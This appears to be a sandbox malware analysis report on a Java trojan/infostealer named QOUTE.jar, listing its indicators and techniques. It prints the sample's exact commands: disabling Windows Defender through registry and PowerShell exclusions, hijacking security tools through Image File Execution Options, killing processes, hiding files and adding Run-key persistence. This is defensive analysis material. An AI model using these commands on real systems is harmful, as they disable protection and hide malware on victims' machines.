b52f595bcd319fb9a253efa0c694fcaea8662b0fd34bb384612c1006cc112bd8

Analysis

max time kernel
139s
max time network
130s
platform
windows10_x64
resource
win10
submitted
12-07-2020 08:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

QOUTE.jar
Size

402KB
MD5

0a79ac74d72bd78b14f2620336eb8154
SHA1

cb35e25fd05a342c3201cc7e7c81aa4f7fca99f7
SHA256

b52f595bcd319fb9a253efa0c694fcaea8662b0fd34bb384612c1006cc112bd8
SHA512

7b74e2c7568a38045c1d760589193e716767e568809391980df03f197515ced2c535ad0d1612e5d05f56ab1684b4bbae562764606a96106909c00e848ccf784a

Score

10^/10

evasion trojan persistence discovery spyware

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2812 powershell.exe
2812 powershell.exe
2812 powershell.exe

pid	process
2812	powershell.exe
2812	powershell.exe
2812	powershell.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

484 attrib.exe
1136 attrib.exe
1356 attrib.exe
1468 attrib.exe
564 attrib.exe
808 attrib.exe
3992 attrib.exe
1008 attrib.exe

pid	process
484	attrib.exe
1136	attrib.exe
1356	attrib.exe
1468	attrib.exe
564	attrib.exe
808	attrib.exe
3992	attrib.exe
1008	attrib.exe

Checks for installed software on the system 1 TTPs 38 IoCs

discovery

Query Registry

T1012

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}\DisplayName	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key opened	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}\DisplayName	reg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us\DisplayName	reg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key opened	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

976 java.exe

pid	process
976	java.exe

Suspicious use of AdjustPrivilegeToken 164 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2292	WMIC.exe
Token: SeSecurityPrivilege	2292	WMIC.exe
Token: SeTakeOwnershipPrivilege	2292	WMIC.exe
Token: SeLoadDriverPrivilege	2292	WMIC.exe
Token: SeSystemProfilePrivilege	2292	WMIC.exe
Token: SeSystemtimePrivilege	2292	WMIC.exe
Token: SeProfSingleProcessPrivilege	2292	WMIC.exe
Token: SeIncBasePriorityPrivilege	2292	WMIC.exe
Token: SeCreatePagefilePrivilege	2292	WMIC.exe
Token: SeBackupPrivilege	2292	WMIC.exe
Token: SeRestorePrivilege	2292	WMIC.exe
Token: SeShutdownPrivilege	2292	WMIC.exe
Token: SeDebugPrivilege	2292	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2292	WMIC.exe
Token: SeRemoteShutdownPrivilege	2292	WMIC.exe
Token: SeUndockPrivilege	2292	WMIC.exe
Token: SeManageVolumePrivilege	2292	WMIC.exe
Token: 33	2292	WMIC.exe
Token: 34	2292	WMIC.exe
Token: 35	2292	WMIC.exe
Token: 36	2292	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2292	WMIC.exe
Token: SeSecurityPrivilege	2292	WMIC.exe
Token: SeTakeOwnershipPrivilege	2292	WMIC.exe
Token: SeLoadDriverPrivilege	2292	WMIC.exe
Token: SeSystemProfilePrivilege	2292	WMIC.exe
Token: SeSystemtimePrivilege	2292	WMIC.exe
Token: SeProfSingleProcessPrivilege	2292	WMIC.exe
Token: SeIncBasePriorityPrivilege	2292	WMIC.exe
Token: SeCreatePagefilePrivilege	2292	WMIC.exe
Token: SeBackupPrivilege	2292	WMIC.exe
Token: SeRestorePrivilege	2292	WMIC.exe
Token: SeShutdownPrivilege	2292	WMIC.exe
Token: SeDebugPrivilege	2292	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2292	WMIC.exe
Token: SeRemoteShutdownPrivilege	2292	WMIC.exe
Token: SeUndockPrivilege	2292	WMIC.exe
Token: SeManageVolumePrivilege	2292	WMIC.exe
Token: 33	2292	WMIC.exe
Token: 34	2292	WMIC.exe
Token: 35	2292	WMIC.exe
Token: 36	2292	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3784	WMIC.exe
Token: SeSecurityPrivilege	3784	WMIC.exe
Token: SeTakeOwnershipPrivilege	3784	WMIC.exe
Token: SeLoadDriverPrivilege	3784	WMIC.exe
Token: SeSystemProfilePrivilege	3784	WMIC.exe
Token: SeSystemtimePrivilege	3784	WMIC.exe
Token: SeProfSingleProcessPrivilege	3784	WMIC.exe
Token: SeIncBasePriorityPrivilege	3784	WMIC.exe
Token: SeCreatePagefilePrivilege	3784	WMIC.exe
Token: SeBackupPrivilege	3784	WMIC.exe
Token: SeRestorePrivilege	3784	WMIC.exe
Token: SeShutdownPrivilege	3784	WMIC.exe
Token: SeDebugPrivilege	3784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3784	WMIC.exe
Token: SeRemoteShutdownPrivilege	3784	WMIC.exe
Token: SeUndockPrivilege	3784	WMIC.exe
Token: SeManageVolumePrivilege	3784	WMIC.exe
Token: 33	3784	WMIC.exe
Token: 34	3784	WMIC.exe
Token: 35	3784	WMIC.exe
Token: 36	3784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3784	WMIC.exe

Loads dropped DLL 2 IoCs

Processes:

java.exe

pid process

976 java.exe
976 java.exe

pid	process
976	java.exe
976	java.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4872	taskkill.exe
5024	taskkill.exe
2416	taskkill.exe
2728	taskkill.exe
4628	taskkill.exe
4568	taskkill.exe
4100	taskkill.exe
1760	taskkill.exe
5080	taskkill.exe
4500	taskkill.exe
4608	taskkill.exe
3768	taskkill.exe
1444	taskkill.exe
4716	taskkill.exe
3016	taskkill.exe
3084	taskkill.exe

Sets file execution options in registry 2 TTPs 32 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe	reg.exe

Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File opened for modification C:\Windows\System32\soBnX java.exe
File created C:\Windows\System32\soBnX java.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
File opened for modification	C:\Windows\System32\soBnX	java.exe
File created	C:\Windows\System32\soBnX	java.exe

Suspicious use of WriteProcessMemory 474 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 976 wrote to memory of 2544	976	java.exe	cmd.exe
PID 976 wrote to memory of 2544	976	java.exe	cmd.exe
PID 976 wrote to memory of 3984	976	java.exe	cmd.exe
PID 976 wrote to memory of 3984	976	java.exe	cmd.exe
PID 3984 wrote to memory of 2292	3984	cmd.exe	WMIC.exe
PID 3984 wrote to memory of 2292	3984	cmd.exe	WMIC.exe
PID 976 wrote to memory of 3068	976	java.exe	cmd.exe
PID 976 wrote to memory of 3068	976	java.exe	cmd.exe
PID 3068 wrote to memory of 3784	3068	cmd.exe	WMIC.exe
PID 3068 wrote to memory of 3784	3068	cmd.exe	WMIC.exe
PID 976 wrote to memory of 564	976	java.exe	attrib.exe
PID 976 wrote to memory of 564	976	java.exe	attrib.exe
PID 976 wrote to memory of 808	976	java.exe	attrib.exe
PID 976 wrote to memory of 808	976	java.exe	attrib.exe
PID 976 wrote to memory of 3992	976	java.exe	attrib.exe
PID 976 wrote to memory of 3992	976	java.exe	attrib.exe
PID 976 wrote to memory of 1008	976	java.exe	attrib.exe
PID 976 wrote to memory of 1008	976	java.exe	attrib.exe
PID 976 wrote to memory of 484	976	java.exe	attrib.exe
PID 976 wrote to memory of 484	976	java.exe	attrib.exe
PID 976 wrote to memory of 1136	976	java.exe	attrib.exe
PID 976 wrote to memory of 1136	976	java.exe	attrib.exe
PID 976 wrote to memory of 1356	976	java.exe	attrib.exe
PID 976 wrote to memory of 1356	976	java.exe	attrib.exe
PID 976 wrote to memory of 1468	976	java.exe	attrib.exe
PID 976 wrote to memory of 1468	976	java.exe	attrib.exe
PID 976 wrote to memory of 1744	976	java.exe	cmd.exe
PID 976 wrote to memory of 1744	976	java.exe	cmd.exe
PID 976 wrote to memory of 2812	976	java.exe	powershell.exe
PID 976 wrote to memory of 2812	976	java.exe	powershell.exe
PID 1744 wrote to memory of 2728	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 2728	1744	cmd.exe	reg.exe
PID 976 wrote to memory of 2860	976	java.exe	reg.exe
PID 976 wrote to memory of 2860	976	java.exe	reg.exe
PID 976 wrote to memory of 2880	976	java.exe	reg.exe
PID 976 wrote to memory of 2880	976	java.exe	reg.exe
PID 976 wrote to memory of 3016	976	java.exe	taskkill.exe
PID 976 wrote to memory of 3016	976	java.exe	taskkill.exe
PID 976 wrote to memory of 2064	976	java.exe	reg.exe
PID 976 wrote to memory of 2064	976	java.exe	reg.exe
PID 976 wrote to memory of 2292	976	java.exe	reg.exe
PID 976 wrote to memory of 2292	976	java.exe	reg.exe
PID 976 wrote to memory of 3848	976	java.exe	reg.exe
PID 976 wrote to memory of 3848	976	java.exe	reg.exe
PID 976 wrote to memory of 648	976	java.exe	reg.exe
PID 976 wrote to memory of 648	976	java.exe	reg.exe
PID 976 wrote to memory of 868	976	java.exe	reg.exe
PID 976 wrote to memory of 868	976	java.exe	reg.exe
PID 976 wrote to memory of 1944	976	java.exe	reg.exe
PID 976 wrote to memory of 1944	976	java.exe	reg.exe
PID 976 wrote to memory of 1132	976	java.exe	reg.exe
PID 976 wrote to memory of 1132	976	java.exe	reg.exe
PID 1744 wrote to memory of 1448	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 1448	1744	cmd.exe	reg.exe
PID 976 wrote to memory of 3844	976	java.exe	reg.exe
PID 976 wrote to memory of 3844	976	java.exe	reg.exe
PID 976 wrote to memory of 3908	976	java.exe	reg.exe
PID 976 wrote to memory of 3908	976	java.exe	reg.exe
PID 976 wrote to memory of 3668	976	java.exe	reg.exe
PID 976 wrote to memory of 3668	976	java.exe	reg.exe
PID 976 wrote to memory of 676	976	java.exe	reg.exe
PID 976 wrote to memory of 676	976	java.exe	reg.exe
PID 976 wrote to memory of 3620	976	java.exe	cmd.exe
PID 976 wrote to memory of 3620	976	java.exe	cmd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

java.exe

pid process

976 java.exe

pid	process
976	java.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\roBcX\Desktop.ini	java.exe
File created	C:\Users\Admin\roBcX\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\roBcX\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\roBcX\Desktop.ini	attrib.exe

Adds Run entry to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\RfEhfcm = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\roBcX\\xvPwc.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\RfEhfcm = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\roBcX\\xvPwc.class\""	java.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\QOUTE.jar
1⤵
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: GetForegroundWindowSpam
- Drops desktop.ini file(s)
- Adds Run entry to start application
PID:976

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2544

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:3984

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2292

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3784

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:564

C:\Windows\SYSTEM32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:808

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\roBcX\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:3992

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\roBcX\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:1008

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\roBcX
2⤵
- Views/modifies file attributes
PID:484

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\roBcX
2⤵
- Views/modifies file attributes
PID:1136

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\roBcX
2⤵
- Views/modifies file attributes
PID:1356

C:\Windows\SYSTEM32\attrib.exe
attrib +h +s +r C:\Users\Admin\roBcX\xvPwc.class
2⤵
- Views/modifies file attributes
PID:1468

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:2728

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:1448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\roBcX','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\roBcX\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2812

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2860

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:2880

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
2⤵
- Kills process with taskkill
PID:3016

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2064

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:2292

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3848

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:648

